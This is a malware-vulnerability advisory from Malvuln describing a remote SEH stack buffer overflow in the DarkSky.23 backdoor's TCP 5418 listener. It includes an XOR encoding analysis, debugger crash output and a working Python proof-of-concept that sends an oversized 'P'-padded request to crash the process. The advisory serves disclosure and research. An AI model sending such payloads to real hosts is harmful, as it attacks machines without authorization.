Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/1164ef21ef2af97e0339359c0dce5e7d.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.DarkSky.23 Vulnerability: Remote Stack Buffer Overflow (SEH) Description: The malware listens on TCP port 5418. Third-party adversaries who can reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting EDX register and Structured Exception Handler (SEH). In order to see the typical exploit pattern of "\x41" "AAAA" we need to actually send "\x50" as there is an loop that performs an XOR converting our payload. Therefore, if we send "AAAAAAAA" we will get "PPPPPPPP", the malware performs the XOR with the value of 11. Family: DarkSky Type: PE32 MD5: 1164ef21ef2af97e0339359c0dce5e7d Vuln ID: MVID-2022-0648 Dropped files: SysArchive.exe, KNREL32.exe, notepade.exe ASLR: False DEP: False CFG: False Safe SEH: False Disclosure: 10/15/2022 Example: 0040134A | 80 34 31 11 | xor byte ptr ds:[ecx+esi],11 | ;XOR converting the payload happens here. 0040134E | 41 | inc ecx | 0040134F | 3B C8 | cmp ecx,eax | 00401351 | 7C F7 | jl sysarchive.40134A | 00401353 | 5E | pop esi | 00401354 | C3 | ret | Python test... >>> 0x41 ^ 0x11 80 >>> hex(80) '0x50' >>> chr(0x50) 'P' GET /AAAAA will then become all "P" ... 0019D24C 56 54 45 31 3E 50 50 50 50 50 41 41 41 41 41 41 VTE1>PPPPPAAAAAA 0019D25C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0019D26C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0019D27C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0019D28C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA So to get our \x41 pattern we need to supply \x50, the malware will XOR it with 0x11 giving us \x41. >>> 0x50 ^ 0x11 65 >>> hex(65) '0x41' >>> chr(65) 'A' EAX : 7EFEFEFE EBX : 02902A58 ECX : 0019F4B0 EDX : 41414141 EBP : 0019D230 ESP : 0019D214 ESI : 0019D777 EDI : 0019FF81 EIP : 7451561B msvcrt.7451561B Finally we see our desired exploit payload converted from \x50 'P' to \x41 or "A" 0019D240 08 DF 8E 02 08 DF 8E 02 01 00 00 00 56 54 45 31 .ß...ß......VTE1 0019D250 3E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 >AAAAAAAAAAAAAAA 0019D260 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0019D270 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0019D280 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 50 AAAAAAAAAAAAAAAP 0019D290 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 PPPPPPPPPPPPPPPP 0019D2A0 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 PPPPPPPPPPPPPPPP Memory Dump: (2798.242c): Stack buffer overflow - code c0000409 (first/second chance not available) eax=00000000 ebx=00000000 ecx=0019f52c edx=41414141 esi=00000000 edi=00000002 eip=7770ed3c esp=0019cb60 ebp=0019cba0 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216 ntdll!ZwWaitForMultipleObjects+0xc: 7770ed3c c21400 ret 14h 0:000> .ecxr eax=7efefefe ebx=02552c88 ecx=0019f52c edx=41414141 esi=0019d777 edi=0019fffd eip=74515619 esp=0019d214 ebp=0019d230 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 msvcrt!strcat+0x89: 74515619 8917 mov dword ptr [edi],edx ds:002b:0019fffd=41000000 *** WARNING: Unable to verify checksum for SysArchive.exe *** ERROR: Module load completed but symbols could not be loaded for SysArchive.exe 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: msvcrt!strcat+89 74515619 8917 mov dword ptr [edi],edx EXCEPTION_RECORD: 0019cd64 -- (.exr 0x19cd64) ExceptionAddress: 74515619 (msvcrt!strcat+0x00000089) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000008 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 001a0000 Attempt to write to address 001a0000 PROCESS_NAME: SysArchive.exe ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application. EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application. EXCEPTION_PARAMETER1: 00000015 MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 70 APPLICATION_VERIFIER_FLAGS: 0 CHKIMG_EXTENSION: !chkimg -lo 50 -d !msvcrt 74515590 - msvcrt!strcat [ 8b:cc ] 74515617 - msvcrt!strcat+87 (+0x87) [ eb:cc ] 2 errors : !msvcrt (74515590-74515617) CONTEXT: 0019cdb4 -- (.cxr 0x19cdb4) eax=7efefefe ebx=02552c88 ecx=0019f52c edx=41414141 esi=0019d777 edi=0019fffd eip=74515619 esp=0019d214 ebp=0019d230 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 msvcrt!strcat+0x89: 74515619 8917 mov dword ptr [edi],edx ds:002b:0019fffd=41000000 Resetting default scope WRITE_ADDRESS: 001a0000 FOLLOWUP_IP: msvcrt!strcat+89 74515619 8917 mov dword ptr [edi],edx FAULTING_THREAD: 0000242c BUGCHECK_STR: APPLICATION_FAULT_MEMORY_CORRUPTION_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_LARGE_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: MEMORY_CORRUPTION_LARGE_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: MEMORY_CORRUPTION_LARGE_EXPLOITABLE_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 00404ed7 to 74515619 STACK_TEXT: 0019d214 00404ed7 0019e24c 0019d777 0019d238 msvcrt!strcat+0x89 WARNING: Stack unwind information not available. Following frames may be wrong. 0019d230 00402394 00004128 0019e24c 04ed39f8 SysArchive+0x4ed7 0019f9e8 41414141 41414141 41414141 41414141 SysArchive+0x2394 0019f9ec 41414141 41414141 41414141 41414141 0x41414141 0019f9f0 41414141 41414141 41414141 41414141 0x41414141 0019f9f4 41414141 41414141 41414141 41414141 0x41414141 0019f9f8 41414141 41414141 41414141 41414141 0x41414141 0019f9fc 41414141 41414141 41414141 41414141 0x41414141 0019fa00 41414141 41414141 41414141 41414141 0x41414141 0019fa04 41414141 41414141 41414141 41414141 0x41414141 0019fa08 41414141 41414141 41414141 41414141 0x41414141 0019fa0c 41414141 41414141 41414141 41414141 0x41414141 0019fa10 41414141 41414141 41414141 41414141 0x41414141 0019fa14 41414141 41414141 41414141 41414141 0x41414141 0019fa18 41414141 41414141 41414141 41414141 0x41414141 0019fa1c 41414141 41414141 41414141 41414141 0x41414141 0019fa20 41414141 41414141 41414141 41414141 0x41414141 0019fa24 41414141 41414141 41414141 41414141 0x41414141 0019fa28 41414141 41414141 41414141 41414141 0x41414141 0019fa2c 41414141 41414141 41414141 41414141 0x41414141 0019fa30 41414141 41414141 41414141 41414141 0x41414141 ... SYMBOL_NAME: memory_corruption!msvcrt FOLLOWUP_NAME: MachineOwner MODULE_NAME: memory_corruption IMAGE_NAME: memory_corruption DEBUG_FLR_IMAGE_TIMESTAMP: 0 STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; .cxr 0x19cdb4 ; kb FAILURE_BUCKET_ID: MEMORY_CORRUPTION_LARGE_EXPLOITABLE_FILL_PATTERN_41414141_c0000409_memory_corruption!msvcrt BUCKET_ID: APPLICATION_FAULT_MEMORY_CORRUPTION_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_LARGE_EXPLOITABLE_FILL_PATTERN_41414141_MISSING_GSFRAME_memory_corruption!msvcrt 0:000> !exchain 0019cc18: ntdll!_except_handler4+0 (77716a50) CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (777557ad) 0019f9dc: 41414141 Invalid exception stack at 41414141 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=5418 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) JUNK="GET /"+"\x50"*1300+"HTTP/1.1\r\nHost:29"+"\x50"*10000 PAYLOAD=JUNK+"\r\n\r\n" s.send(PAYLOAD) s.close() print("Backdoor DarkSky.23 Exploit By malvuln") if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).